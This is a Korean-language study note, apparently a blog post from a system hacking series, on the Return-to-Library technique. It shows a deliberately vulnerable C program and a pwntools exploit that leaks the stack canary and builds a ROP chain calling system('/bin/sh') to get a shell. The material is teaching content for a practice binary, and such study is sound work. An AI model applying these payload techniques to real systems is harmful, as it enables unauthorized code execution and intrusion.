Exploit Tech : Return to Library

곽무경·2022년 7월 2일
0

System Hacking

목록 보기
15/27

Return to Library

실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법

예제 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  // Add system function to plt's entry
  system("echo 'system@plt'");
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  return 0;
}
  • const char* binsh = "/bin/sh";
    → "/bin/sh"를 코드 섹션에 추가하기 위해 작성된 코드
    ASLR이 적용되었더라도 PIE가 적용되지 않으면
    코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, "/bin/sh"의 주소는 고정되어 있다.
  • system("echo 'system@plt'");
    → PLT에 system을 추가하기 위해 작성된 코드
    ELF의 PLT에는 ELF가 실행하는 라이브러리의 함수만 포함되므로,
    PLT에 system을 추가할 수 있다.
    PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행되는 코드가 있다.

익스플로잇

    1. 카나리 우회
    1. rdi 값을 "/bin/sh"의 주소로 설정 및 셸 획득
      NX가 적용되어 buf에 셸 코드를 주입하고 실행하는 것이 불가능하다.
      "/bin/sh"의 주소를 알고, system 함수의 PLT 주소를 알면
      rdi="/bin/sh" 주소인 상태로 system 함수를 호출할 수 있다.
      system("/bin/sh") → 셸 획득
    1. 리턴 가젯
      ret로 끝나는 어셈블리 코드 조각
      리턴 가젯을 이용하여, 반환 주소와 이후의 버퍼를 다음과 같이 덮으면 된다.
addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

1. 카나리 우회

buf=b"A"*0x39                 #buf는 크기가 0x30이나 최적화를 위한 더미데이터 존재
p.sendlineafter("Buf: ", buf)
p.recvuntil(buf)
canary=u64(b"\x00"+p.recvn(8))

2. 리턴 가젯 찾기

ROPgadget을 이용한다.
--re 옵션을 이용하여 정규표현식으로 가젯을 필터링할 수 있다.

3. /bin/sh 주소 찾기

pwndbg 에서 가능하다.

4. system 함수의 PLT 주소 찾기

pwntools의 ELF 헤더를 이용한다.

e=ELF("./rtl")
system_plt=e.plt['system']

5. payload 구성하기

아무 문자(0x38)+canary(0x8)+SFP(0x8)+ret(0x8)+gadget(0x8)+/bin/sh주소(0x8)+plt주소(0x8)

system_plt=p64(e.plt['system'])               # system 함수 plt 주소
binshadr=p64(0x402004)                        # "/bin/sh" 주소
poprdi=p64(0x401333)                          # 리턴 가젯 주소
payload=b"A"*0x38+p64(canary)+b"B"*0x8        # payload 구성
payload+=p64(0x40101a)                        # 바로 다음 가젯으로 연결시켜주기 위한 ret 주소
payload+=poprdi
payload+=binshadr
payload+=system_plt

system 함수로 rip 가 이동할 때, 스택이 반드시 0x10 단위로 정렬되어 있어야 한다.
movaps 명령어가 스택이 0x10단위로 정렬되어 있지 않으면 SegFault를 발생시키기 때문.
반환 주소 자리이기 때문에 아무거나 입력하면 안되고, 가장 간단한 가젯인
ret 가젯을 넣어서 단위를 맞춰준다.
참고자료
https://c0wb3ll.tistory.com/entry/ret2libc-x64

0개의 댓글